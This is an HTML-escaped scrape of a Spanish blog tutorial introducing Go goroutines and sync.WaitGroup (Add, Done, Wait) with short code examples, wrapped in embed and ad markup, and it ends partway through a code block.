data-instgrm-permalink=&#34;https://www.instagram.com/p/CtcMV0voRuV&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CtcMV0voRuV&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;Este post es muy pequeño para tratar un tema tan amplio, sin embargo hay dos recursos que quiero destacar:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://ferestrepoca.github.io/paradigmas-de-programacion/progconcurrente/concurrente_teoria/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Programación concurrente de Felipe Restrepo Calle&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/04/17/la-diferencia-entre-concurrencia-y-paralelismo.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Concurrencia vs paralelismo de Hector Patricio en The dojo blog&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Cito una frase del primer recurso que, a mi parecer, resume bastante bien la diferencia:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Un programa es concurrente si puede soportar dos o más acciones &lt;strong&gt;en&#xA;progreso.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Un programa es paralelo si puede soportar dos o más acciones &lt;strong&gt;ejecutándose&#xA;simultáneamente.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Felipe Restrepo Calle&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Si aún así te parecen confusos y no entiendes la diferencia, dale una leída a esos posts y deberías estar listo para seguir adelante.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;corrutinas-en-go&#34;&gt;Corrutinas en go&lt;/h2&gt;&#xA;&lt;p&gt;Una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Corrutina&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;corrutina&lt;/a&gt;&#xA;, en go, es &lt;strong&gt;una función o método que se ejecuta concurrentemente junto con otras funciones o métodos&lt;/strong&gt;. En go, a las corrutinas se les conoce como &lt;strong&gt;goroutines&lt;/strong&gt; o gorutinas. Incluso, la función principal, &lt;em&gt;main&lt;/em&gt;, se ejecuta dentro de una.&lt;/p&gt;&#xA;&lt;p&gt;Las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/&#34;&gt;goroutines&lt;/a&gt;&#xA; son usadas en patrones de diseño, como el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/&#34;&gt;patrón de diseño worker pool&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Para generar una goroutine agregamos el keyword &lt;em&gt;go&lt;/em&gt; antes de una función. Lo anterior programará la función para su ejecución asíncrona.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(texto &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(texto)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hey&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hey again&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// hey&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el caso anterior, debido a su naturaleza asíncrona, la goroutine no detiene la ejecución del código. Lo anterior implica que el cuerpo de la función &lt;em&gt;main&lt;/em&gt; continua su ejecución y &lt;strong&gt;nuestra goroutine nunca llega a ejecutarse.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-3.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-3.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Funcionamiento de las goroutines en go&#34; width=&#34;1200&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;¿Pero entonces? ¿cómo le hacemos para que nuestra goroutine se ejecute? La aproximación ingenua sería usar un sleep para pausar la ejecución del código. Esto, como ya sabes, es un sinsentido. ¡No podemos estar poniéndo sleeps en todos lados, el flujo del programa se ralentizaría innecesariamente!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// NO LO HAGAS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sleep&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Second)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una mejor aproximación sería crear un &lt;strong&gt;WaitGroup&lt;/strong&gt; o grupo de espera.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;waitgroups-en-go&#34;&gt;WaitGroups en go&lt;/h2&gt;&#xA;&lt;p&gt;Un &lt;strong&gt;WaitGroup&lt;/strong&gt; detendrá la ejecución del programa y esperará a que se ejecuten las goroutines.&lt;/p&gt;&#xA;&lt;p&gt;Internamente, un &lt;strong&gt;WaitGroup&lt;/strong&gt; funciona con un contador, cuando el contador esté en cero la ejecución del código continuará, mientras que si el contador es mayor a cero, esperará a que se terminen de ejecutar las demás goroutines.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Si el contador del waitgroup es mayor que cero se continuará con esta función.&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Y como cambiamos el valor del contador?&lt;/p&gt;&#xA;&lt;p&gt;Para incrementar y decrementar el contador del &lt;strong&gt;WaitGroup&lt;/strong&gt; usaremos los métodos &lt;em&gt;Add&lt;/em&gt; y &lt;em&gt;Done&lt;/em&gt;, respectivamente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-metodo-add&#34;&gt;El método Add&lt;/h3&gt;&#xA;&lt;p&gt;El método &lt;em&gt;Add&lt;/em&gt; incrementa el contador del WaitGroup en &lt;em&gt;n&lt;/em&gt; unidades, donde &lt;em&gt;n&lt;/em&gt; es el argumento que le pasamos.&lt;/p&gt;&#xA;&lt;p&gt;El truco está en llamarlo cada vez que ejecutemos una goroutine.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hey&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;el-metodo-done&#34;&gt;El Método Done&lt;/h3&gt;&#xA;&lt;p&gt;El método &lt;strong&gt;Done&lt;/strong&gt; se encarga de disminuir una unidad del contador del &lt;strong&gt;WaitGroup&lt;/strong&gt;. Lo llamaremos para avisarle al &lt;strong&gt;WaitGroup&lt;/strong&gt; que la goroutine ha finalizado y decremente el contador en uno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(texto &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, wg &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;sync.WaitGroup) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(texto)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que la instancia del &lt;strong&gt;WaitGroup&lt;/strong&gt; (wg *) necesita pasarse por referencia o de otra manera no accederemos al &lt;strong&gt;WaitGroup&lt;/strong&gt; original.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(texto &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, wg &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;sync.WaitGroup) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(texto)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;defer&lt;/span&gt; wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tip: usa &lt;em&gt;defer&lt;/em&gt; sobre el método &lt;em&gt;Done&lt;/em&gt; para garantizar que sea lo último que se ejecute.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-wait-2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-wait-2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Funcionamiento de un grupo de espera en go&#34; width=&#34;1200&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Una vez que el contador de wg.Wait se vuelve cero, se continua la ejecución del programa.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span 